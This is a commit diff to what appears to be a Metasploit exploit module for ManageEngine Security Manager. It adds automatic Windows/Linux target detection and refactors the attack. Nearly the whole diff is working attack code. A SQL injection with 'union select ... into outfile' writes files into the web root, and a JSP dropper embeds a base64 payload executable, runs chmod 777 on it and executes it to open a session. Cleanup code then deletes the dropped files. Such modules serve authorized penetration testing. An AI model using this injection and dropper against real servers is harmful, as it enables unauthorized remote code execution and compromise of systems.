@@ -34,11 +34,14 @@ def initialize(info={})
34
34
[ 'EDB' , '22094' ] ,
35
35
[ 'BID' , '56138' ]
36
36
] ,
37
+ 'Platform' => [ 'win' , 'linux' ] ,
37
38
'Targets' =>
38
39
[
39
- [ 'Windows' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' } ] ,
40
- [ 'Linux' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
40
+ [ 'Automatic' , { } ] ,
41
+ [ 'Windows' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' } ] ,
42
+ [ 'Linux' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
41
43
] ,
44
+ 'DefaultTarget' => 0 ,
42
45
'Privileged' => false ,
43
46
'DisclosureDate' => "Oct 18 2012" ) )
44
47
@@ -63,9 +66,39 @@ def check
63
66
end
64
67
65
68
69
+ def pick_target
70
+ return target if target . name != 'Automatic'
71
+
72
+ rnd_num = Rex ::Text . rand_text_numeric ( 1 )
73
+ rnd_fname = Rex ::Text . rand_text_alpha ( 5 ) + ".txt"
74
+ outpath = "../../webapps/SecurityManager/#{ rnd_fname } "
75
+
76
+ @clean_ups << outpath
77
+
78
+ sqli = "#{ rnd_num } )) union select @@version,"
79
+ sqli << ( 2 ..28 ) . map { |e | e } * ","
80
+ sqli << " into outfile \" #{ outpath } \" FROM mysql.user WHERE #{ rnd_num } =((#{ rnd_num } "
81
+ sqli_exec ( sqli )
82
+
83
+ res = send_request_raw ( { 'uri' => "/#{ rnd_fname } " } )
84
+
85
+ # Linux = 5.0.36-enterprise
86
+ # Windows = 5.0.36-enterprise-nt
87
+
88
+ if res and res . body =~ /\d \. \d \. \d \d \- enterprise\- nt/
89
+ print_status ( "#{ rhost } :#{ rport } - Target selected: #{ targets [ 1 ] . name } " )
90
+ return targets [ 1 ] # Windows target
91
+ elsif res and res . body =~ /\d \. \d \. \d \d \- enterprise/
92
+ print_status ( "#{ rhost } :#{ rport } - Target selected: #{ targets [ 2 ] . name } " )
93
+ return targets [ 2 ]
94
+ end
95
+
96
+ return nil
97
+ end
98
+
99
+
66
100
#
67
- # Remove the JSP once we get a shell.
68
- # We cannot delete the executable because it will still be in use.
101
+ # We're in SecurityManager/bin at this point
69
102
#
70
103
def on_new_session ( cli )
71
104
if target [ 'Platform' ] == 'linux'
@@ -77,20 +110,23 @@ def on_new_session(cli)
77
110
end
78
111
79
112
begin
80
- path = "../webapps/SecurityManager/#{ @jsp_name + '.jsp' } "
81
- print_warning ( "#{ rhost } :#{ rport } - Deleting: #{ @jsp_name + '.jsp' } " )
82
-
83
- if cli . type == 'meterpreter'
84
- cli . fs . file . rm ( path )
85
- else
86
- del_cmd = ( target [ 'Platform' ] == 'linux' ) ? 'rm' : 'del'
87
- path = path . gsub ( /\/ / , '\\' ) if target [ 'Platform' ] == 'win'
88
- cli . shell_command_token ( "#{ del_cmd } \" #{ path } \" " )
89
- end
90
-
91
- print_good ( "#{ rhost } :#{ rport } - #{ @jsp_name + '.jsp' } deleted" )
113
+ @clean_ups . each { |f |
114
+ base = File . basename ( f )
115
+ f = "../webapps/SecurityManager/#{ base } "
116
+ print_warning ( "#{ rhost } :#{ rport } - Deleting: \" #{ base } \" " )
117
+
118
+ if cli . type == 'meterpreter'
119
+ cli . fs . file . rm ( f )
120
+ else
121
+ del_cmd = ( @my_target [ 'Platform' ] == 'linux' ) ? 'rm' : 'del'
122
+ f = f . gsub ( /\/ / , '\\' ) if @my_target [ 'Platform' ] == 'win'
123
+ cli . shell_command_token ( "#{ del_cmd } \" #{ f } \" " )
124
+ end
125
+
126
+ print_good ( "#{ rhost } :#{ rport } - \" #{ base } \" deleted" )
127
+ }
92
128
rescue ::Exception => e
93
- print_error ( "Unable to delete #{ @jsp_name + '.jsp' } : #{ e . message } " )
129
+ print_error ( "Unable to delete: #{ e . message } " )
94
130
end
95
131
end
96
132
@@ -99,9 +135,10 @@ def on_new_session(cli)
99
135
# Embeds our executable in JSP
100
136
#
101
137
def generate_jsp_payload
102
- native_payload = Rex ::Text . encode_base64 ( generate_payload_exe )
138
+ opts = { :arch => @my_target . arch , :platform => @my_target . platform }
139
+ native_payload = Rex ::Text . encode_base64 ( generate_payload_exe ( opts ) )
103
140
native_payload_name = Rex ::Text . rand_text_alpha ( rand ( 6 ) +3 )
104
- ext = ( target [ 'Platform' ] == 'win' ) ? '.exe' : '.bin'
141
+ ext = ( @my_target [ 'Platform' ] == 'win' ) ? '.exe' : '.bin'
105
142
106
143
var_raw = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
107
144
var_ostream = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
@@ -111,7 +148,7 @@ def generate_jsp_payload
111
148
var_path = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
112
149
var_proc2 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
113
150
114
- if target [ 'Platform' ] == 'linux'
151
+ if @my_target [ 'Platform' ] == 'linux'
115
152
var_proc1 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
116
153
chmod = %Q|
117
154
Process #{ var_proc1 } = Runtime.getRuntime().exec("chmod 777 " + #{ var_path } );
@@ -161,14 +198,7 @@ def generate_jsp_payload
161
198
jsp . unpack ( "H*" ) [ 0 ]
162
199
end
163
200
164
-
165
- #
166
- # Run the actual exploit
167
- #
168
- def inject_exec
169
- # Inject our JSP payload
170
- hex_jsp = generate_jsp_payload
171
-
201
+ def sqli_exec ( sqli_string )
172
202
cookie = 'STATE_COOKIE=&'
173
203
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
174
204
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
@@ -180,14 +210,9 @@ def inject_exec
180
210
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
181
211
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
182
212
183
- rnd_num = Rex ::Text . rand_text_numeric ( 1 )
184
- sqli = "#{ rnd_num } )) union select 0x#{ hex_jsp } ,"
185
- sqli << ( 2 ..28 ) . map { |e | e } * ","
186
- sqli << " into outfile #{ @outpath } FROM mysql.user WHERE #{ rnd_num } =((#{ rnd_num } "
187
-
188
213
state_id = Rex ::Text . rand_text_numeric ( 5 )
189
- print_status ( " #{ rhost } : #{ rport } - Sending JSP payload" )
190
- res = send_request_cgi ( {
214
+
215
+ send_request_cgi ( {
191
216
'method' => 'POST' ,
192
217
'uri' => "/STATE_ID/#{ state_id } /jsp/xmlhttp/persistence.jsp" ,
193
218
'headers' => {
@@ -202,13 +227,28 @@ def inject_exec
202
227
'ANDOR' => 'and' ,
203
228
'condition_1' => 'OpenPorts@PORT' ,
204
229
'operator_1' => 'IN' ,
205
- 'value_1' => sqli ,
230
+ 'value_1' => sqli_string ,
206
231
'COUNT' => '1'
207
232
}
208
233
} )
234
+ end
235
+
236
+ #
237
+ # Run the actual exploit
238
+ #
239
+ def inject_exec ( out )
240
+ hex_jsp = generate_jsp_payload
241
+ rnd_num = Rex ::Text . rand_text_numeric ( 1 )
242
+ sqli = "#{ rnd_num } )) union select 0x#{ hex_jsp } ,"
243
+ sqli << ( 2 ..28 ) . map { |e | e } * ","
244
+ sqli << " into outfile \" #{ out } \" FROM mysql.user WHERE #{ rnd_num } =((#{ rnd_num } "
245
+
246
+ print_status ( "#{ rhost } :#{ rport } - Sending JSP payload" )
247
+ sqli_exec ( sqli )
209
248
210
- print_status ( "#{ rhost } :#{ rport } - Sending /#{ @jsp_name + '.jsp' } " )
211
- send_request_raw ( { 'uri' => "/#{ @jsp_name + '.jsp' } " } )
249
+ fname = "/#{ File . basename ( out ) } "
250
+ print_status ( "#{ rhost } :#{ rport } - Requesting #{ fname } " )
251
+ res = send_request_raw ( { 'uri' => fname } )
212
252
213
253
handler
214
254
end
@@ -218,9 +258,19 @@ def inject_exec
218
258
# The server must start first, and then we send the malicious requests
219
259
#
220
260
def exploit
221
- @jsp_name = rand_text_alpha ( rand ( 6 ) +3 )
222
- @outpath = "\" ../../webapps/SecurityManager/#{ @jsp_name + '.jsp' } \" "
261
+ @clean_ups = [ ]
262
+
263
+ @my_target = pick_target
264
+ if @my_target . nil?
265
+ print_error ( "#{ rhost } :#{ rport } - Unable to select a target, we must bail." )
266
+ return
267
+ end
268
+
269
+ jsp_name = rand_text_alpha ( rand ( 6 ) +3 )
270
+ outpath = "../../webapps/SecurityManager/#{ jsp_name + '.jsp' } "
271
+
272
+ @clean_ups << outpath
223
273
224
- inject_exec
274
+ inject_exec ( outpath )
225
275
end
226
276
end
0 commit comments